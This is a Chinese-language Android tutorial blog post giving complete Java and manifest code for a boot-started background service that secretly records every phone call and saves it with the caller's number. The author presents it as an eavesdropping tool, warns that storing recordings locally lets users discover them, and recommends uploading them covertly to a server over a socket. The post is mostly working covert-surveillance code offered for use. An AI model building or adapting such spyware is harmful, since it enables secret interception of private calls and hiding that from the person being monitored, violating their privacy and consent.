使用Android做一些小工具监听短信和电话是十分有趣的,上篇写了关于如何监听短信,今天要实现的是通过Android监听电话,即可以获取通话语音然后将语音进行处理,返回给监听者。

  要实现电话监听器需要用到Android中的服务Service,服务和我们在Windows中的理解是一样的,即保持后台运行,没有用户界面。它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。

  Android中的服务不能自己运行,需要通过调用Contex.startService()或Context.bindService()方法启动服务。这两个方法都可以启动service,但是它们的使用场合有所不同。使用startService()方法启动服务,访问者与服务之间没有关联,即使访问者退出了,服务仍然运行。使用bindService()方法启动服务,访问者与服务绑定在了一起,访问者一旦退出,服务也就终止。

  采用Context.startService()方法启动服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。

  在Android开发中使用服务分为两步:

    1. 继承Service类:

      public class defservice extends Service {}

    2. 在AndroidManifest.xml文件中的<application>节点中对服务进行配置:

      <service android:name=".defservice" />

  

  下面我们就通过实例来看一下电话监听者的实现:

    1. 创建一个用于监听电话状态并通过各种状态进行处理的service

  1 package com.fanchangfa.phonelistener;  2   3 import java.io.File;  4 import java.io.IOException;  5   6 import android.app.Service;  7 import android.content.Context;  8 import android.content.Intent;  9 import android.media.MediaRecorder; 10 import android.os.Environment; 11 import android.os.IBinder; 12 import android.telephony.PhoneStateListener; 13 import android.telephony.TelephonyManager; 14  15 /** 16  * @author fanchangfa 17  *    Android电话监听器 18  */ 19 public class Phone_listener extends Service { 20  21     @Override 22     public IBinder onBind(Intent arg0) { 23         // TODO Auto-generated method stub 24         return null; 25     } 26  27     @Override 28     public void onCreate() { 29         // TODO Auto-generated method stub 30         super.onCreate(); 31          32         //取得电话管理服务 33         TelephonyManager tele =(TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE); 34          35         //对呼叫状态进行监听 36         tele.listen(new phone_state_listener(), PhoneStateListener.LISTEN_CALL_STATE); 37     } 38      39     private final static class phone_state_listener extends PhoneStateListener{ 40  41         /*电话状态有三种 42          * 1. 来电 43          * 2. 接通(通话中) 44          * 3. 挂断 45          * */ 46          47         /* (non-Javadoc) 48          * @see android.telephony.PhoneStateListener#onCallStateChanged(int, java.lang.String) 49          * 状态改变时执行 50          */ 51          52         private String number;    //记录来电号码 53         private MediaRecorder media;    //录音对象 54          55         private File recorder_file; 56          57         @Override 58         public void onCallStateChanged(int state, String incomingNumber) { 59             super.onCallStateChanged(state, incomingNumber); 60              61             switch(state){ 62             case TelephonyManager.CALL_STATE_RINGING: 63                 //来电状态 64                 this.number = incomingNumber; 65                 break; 66                  67             case TelephonyManager.CALL_STATE_OFFHOOK: 68                 //接通状态 69                  70                 /* 71                  * 注意顺序:先实例化存储文件的目录及格式,再对各项参数进行设置 72                  * */ 73                 //实例化输出目录及文件名 74                 recorder_file = new File(Environment.getExternalStorageDirectory() ,  75                         number + System.currentTimeMillis() + ".3gp"); 76                  77                 media = new MediaRecorder();    //实例化MediaRecorder对象 78                  79                 //设置录音来源:MIC 80                 media.setAudioSource(MediaRecorder.AudioSource.MIC); 81                  82                 //设置录音格式为3gp格式 83                 media.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); 84                  85                 //设置MediaRecorder的编码格式 86                 media.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); 87                  88                 //设置输出目录 89                 media.setOutputFile(recorder_file.getAbsolutePath()); 90                  91                 try { 92                     media.prepare(); 93                 } catch (IOException e) { 94                     // TODO Auto-generated catch block 95                     e.printStackTrace(); 96                 } 97                  98                 media.start(); 99                 100                 break;101                 102             case TelephonyManager.CALL_STATE_IDLE:103                 //挂断电话104                 if(media != null){    //停止录音105                     media.stop();106                     media.release();107                     media = null;108                 }109                 break;110             }111         }112         113     }114 115 }

  2. 在AndroidManifest.xml文件中添加服务以及权限:

 1 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 2     package="com.fanchangfa.phonelistener" 3     android:versionCode="1" 4     android:versionName="1.0"> 5  6     <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="15" /> 7  8     <application android:label="@string/app_name" 9         android:icon="@drawable/ic_launcher"10         android:theme="@style/AppTheme">11         12         <service android:name=".Phone_listener1"/>13         14         <!-- 广播接受者:开启启动电话监听器 -->15         <receiver android:name=".BootPhoneListener">16             <intent-filter >17                 <action android:name="android.intent.action.BOOT_COMPLETED"/>18             </intent-filter>19         </receiver>20         21     </application>22     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>23      <!-- 在SDCard中创建与删除文件权限 -->24     <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>25     <!-- 往SDCard写入数据权限 -->26     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>27     <uses-permission android:name="android.permission.RECORD_AUDIO"/>   28 </manifest>

  注意,以上权限一个不能少,必须全部加上。

  

  3. 我们注意到在上面AndroidManifest.xml文件中有一个.BootPhoneListener的广播接受者,这是因为我们上面说的服务不能自己运行,必须要有东西来激活它,在这里我们添加一个开机的广播接收者,即每当开机时都会起动此服务:

  

 1 package com.fanchangfa.phonelistener; 2  3 import android.content.BroadcastReceiver; 4 import android.content.Context; 5 import android.content.Intent; 6  7 /** 8  * @author fanchangfa 9  *    广播接受者-开机时启动电话监听器10  */11 public class BootPhoneListener extends BroadcastReceiver {12 13     @Override14     public void onReceive(Context context, Intent intent) {15         // TODO Auto-generated method stub16         Intent phone_listener = new Intent(context , Phone_listener1.class);17         context.startService(phone_listener);18     }19 20 }

  

  4.基本到此就大功告成了,不过在电话结束后没有对录音进行处理,只是保存在手机上,如果真正应用到监听器上,我们的录音是不能保存到SDCard上的,因为这样极容易被用户发现,通过FTP上传由于有时候用户通话可能超过一小时,所以文件比较大,最好的办法是通过Socket上传到服务器端。有兴趣的可以继续深入。下面我们进行测试,看一下效果,呵呵~

  现在有两个模拟器,一个5554,一个5556,我们把应用部署到5554上,然后再重启5554,此时服务才会启动:

  

  5556call5554界面

  

  

  文件系统界面

  把选中的3gp文件导出,用播放器播放一下试试~~

  

更多相关文章

  1. Android系统服务-简介
  2. 写给Android(安卓)App开发人员看的Android底层知识(1)
  3. Android的Socket通信编程实例
  4. Android换行符变成方框的解决方法
  5. Service 详解
  6. Android(安卓)连接服务器 获取数据
  7. Android(安卓)初始化语言(Android(安卓)init Language)
  8. Android(安卓)开机自动启动服务
  9. android中传感器的学习

随机推荐

  1. MySQLDriverCS Exception: MySQLDriverCS
  2. Mysql字符集和校验规则
  3. PHP读取Excel文件的内容并写入Mysql数据
  4. 有多少MySQL行太多?
  5. PHP新的连接MySQL方法mysqli
  6. 使用GROUP BY,ORDER BY进行PDO查询构造
  7. mysql免安装版简单使用步骤
  8. 如何在MySQL中得到两个值的最大值?
  9. mysql replace into 的使用情况
  10. Centos设置开机启动Apache和Mysql[总结]